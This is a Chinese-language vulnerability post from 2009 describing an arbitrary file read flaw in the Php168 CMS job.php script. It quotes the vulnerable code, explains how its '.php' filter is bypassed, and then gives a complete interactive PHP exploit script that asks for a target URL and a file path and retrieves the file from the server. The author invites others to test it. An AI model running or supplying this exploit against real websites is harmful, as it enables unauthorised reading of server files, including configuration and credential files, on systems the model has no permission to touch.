Php168 读取任意文件漏洞
2009年11月24日星期二 | | |来源:互联网
程序官方URL:http://www.php168.com/#
代码:..job.php Line:117
if( eregi(".php",$url) ){
die("ERR");
}
$fileurl=str_replace($webdb[www_url],"",$url);
if(is_file(PHP168_PATH."$fileurl")&&filesize(PHP168_PATH."$fileurl")<1024*1024*500){
$filename=basename($fileurl);
$filetype=substr(strrchr($filename,'.'),1);
$_filename=preg_replace("/([\d]+)_(200[\d]+)_([^_]+)\.([^\.]+)/is","\\3",$filename);
if(eregi("^([a-z0-9=]+)$",$_filename)&&!eregi("(jpg|gif|png)$",$filename)){
$filename=urldecode(base64_decode($_filename)).".$filetype";
}
ob_end_clean();
header('Last-Modified: '.gmdate('D, d M Y H:i:s',time()).' GMT');
header('Pragma: no-cache');
header('Content-Encoding: none');
header('Content-Disposition: attachment; filename='.$filename);
header('Content-type: '.$filetype);
header('Content-Length: '.filesize(PHP168_PATH."$fileurl"));
readfile(PHP168_PATH."$fileurl");
}else{
$fileurl=strstr($url,"://")?$url:tempdir($fileurl);
header("location:$fileurl");
}
在这段代码里,有判断url里是否包含.php,但是在接下来,这里有个替换
$fileurl=str_replace($webdb[www_url],"",$url);
.p$webdb[www_url]hp被替换后就是.php,但是可以顺利通过前面的是否存在.php的判断。
我没有安装这个代码,但是搜索了一下代码,$webdb[www_url]应该是Web的URL地址。
结论是:可以读取任意文件。
我写了一个Exp来读取文件,但是由于没有安装php168,所以如果有人愿意测试就安了~
由于以前写的EXP太不人性化了,现在连输入变量的方式都改变了~~~
php php168.php运行就好了
PHP代码
<?php
make_input('url','请输入Php168程序所在的地址,例如http://www.xxx.com/');
while (1){
if(substr($url,0,7)!=='http://') make_input('url','大哥,这怎么可能是万维网所说的Url嘛,专业点');
else break;
}
if(substr($url,0,-1)!=='/') $url.='/';
//如果URL的最后一位不是/,补全之
if([email protected]_get_contents($url.'job.php')) die('哦,你耍我,我不往下跑了。');
//如果读job.php为空,就不跑了,跑的辛苦。
make_input('file_path','先生,你想读个啥文件呢?');
$query = str_replace('php','ph'.$url.'p',$file_path);
$hack_url = $url.'job.php?url='.base64_encode($query);
$result = file_get_contents($hack_url);
echo $result;
die;
function make_input($name,$msg="请输入{name}的值",$type='text'){
//Web:http://hi.baidu.com/saiy_wowman/
global $$name;
if(isset($$name)) $$name = '';
while(1){
if(!isset($$name)||$$name==''){
$msg = str_replace('{name}',$name,$msg);
echo $msg."";
$_input = trim(fgets(STDIN));
if($_input!=='') {
if($type=='int'){
if(is_numeric($_input)) {
$$name = $_input;
break;
}
}else{
$$name = $_input;
break;
}
}
}else{
break;
}
}
}
?>